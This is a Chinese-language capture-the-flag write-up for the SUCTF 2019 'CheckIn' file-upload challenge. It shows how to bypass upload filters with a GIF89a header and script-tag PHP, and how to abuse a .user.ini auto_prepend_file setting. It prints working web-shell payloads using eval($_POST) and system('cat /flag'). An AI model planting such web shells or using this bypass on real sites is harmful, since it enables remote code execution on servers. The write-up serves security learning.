2019SUCTF—CheckIn

题目源码:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn

复现链接:https://buuoj.cn/challenges

界面

上传一句话.php文件,结果如下

更改后缀和文件类型为图片格式,结果如下,过滤了<?

<script language='php'><scirpt>类型的图片马绕过,结果如下

应该调用了后端的exif_imagetype()函数,于是添加文件头绕过GIF89a,上传成功

到这一步应该想到上传一个.htaccess文件来将图片马解析为php,尝试无果,于是用到了下面的.user.ini文件

参考

user.ini文件构成的PHP后门

从SUCTF 2019 CheckIn 浅谈.user.ini的利用

解题步骤

上传.uesr.ini文件

内容如下:

GIF89a
auto_prepend_file=a.jpg

ini文件设置中有两个参数:auto_prepend_fileauto_append_file

表示我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);

两个设置的区别在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)

利用前提需要文件目录下有一个可执行的.php文件,而题目刚好有一个

上传a.jpg图片马
GIF89a
<script language="php">eval($_POST['pass']);</script>

访问index.php,用工具连接后台,在网站根目录下得到flag

也可以将图片马代码改成如下方式

GIF89a
<script language='php'>system('cat /flag');</script>

直接访问index.php即可得到flag